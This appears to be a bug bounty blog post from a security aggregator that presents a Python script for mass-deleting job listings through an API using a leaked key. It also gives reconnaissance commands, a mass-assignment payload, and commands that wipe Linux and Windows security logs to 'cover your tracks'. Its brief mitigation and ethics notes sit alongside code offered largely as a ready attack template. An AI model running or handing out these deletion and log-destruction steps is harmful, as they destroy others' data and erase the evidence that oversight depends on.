Dark Side of Bug Bounty Hunting: Maximizing Impact with Python Scripts

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Bug bounty hunting is a lucrative field, but it has its dark side—especially when hunters push the boundaries of impact. One extreme example is deleting all job offers on a program using a Python script. While this demonstrates high impact, it’s crucial to understand the ethical and technical implications.

You Should Know:

1. Automating High-Impact Attacks with Python

Deleting job listings on a bug bounty platform requires exploiting an API or web vulnerability. Below is a Python script using `requests` to demonstrate how such an attack might work (for educational purposes only):

import requests

target_url = "https://example.com/api/job-listings" 
session = requests.Session()

Assume authentication bypass or CSRF exploit 
headers = { 
"X-API-Key": "leaked_key", 
"Content-Type": "application/json" 
}

Mass deletion loop 
for job_id in range(1, 1000): 
delete_endpoint = f"{target_url}/{job_id}" 
response = session.delete(delete_endpoint, headers=headers) 
if response.status_code == 200: 
print(f"Deleted job ID: {job_id}") 
else: 
print(f"Failed to delete {job_id}: {response.text}") 

Mitigation:

  • Implement rate limiting on APIs.
  • Enforce strict authentication checks (JWT/OAuth).
  • Use CSRF tokens for state-changing requests.

2. Reconnaissance for Maximum Impact

Before launching an attack, reconnaissance is key. Use these Linux commands to gather intel:

 Subdomain enumeration 
subfinder -d target.com -o subdomains.txt 
assetfinder --subs-only target.com | tee -a subdomains.txt

Check for exposed APIs 
gau target.com | grep "api" | sort -u > api_endpoints.txt 
ffuf -u "https://target.com/FUZZ" -w api_wordlist.txt -mc 200 

3. Exploiting Business Logic Flaws

High-impact bugs often involve logic flaws. Test for:

  • IDOR (Insecure Direct Object Reference): Manipulate `job_id` parameters.
  • Mass Assignment: Overwrite job listings via JSON payloads.
 Example of mass assignment exploit 
payload = { 
"job_title": "Hacked", 
"status": "deleted", 
"admin_override": True 
} 
requests.patch(target_url, json=payload, headers=headers) 

4. Post-Exploitation Cleanup

Cover your tracks (ethical hacking only!):

 Clear logs (Linux) 
shred -zu /var/log/auth.log 
 Windows (via cmd) 
wevtutil cl Security 

What Undercode Say

While demonstrating impact is critical in bug bounty hunting, ethical boundaries must be respected. Unauthorized mass deletions can lead to legal consequences. Instead, focus on responsible disclosure and proof-of-concepts that highlight flaws without causing harm.

Expected Output:

A well-documented report with:

  • Vulnerable endpoints.
  • Proof-of-concept scripts.
  • Mitigation recommendations.

For legal and ethical hacking, always obtain proper authorization before testing.

References:

Reported By: Loaymorad Dark – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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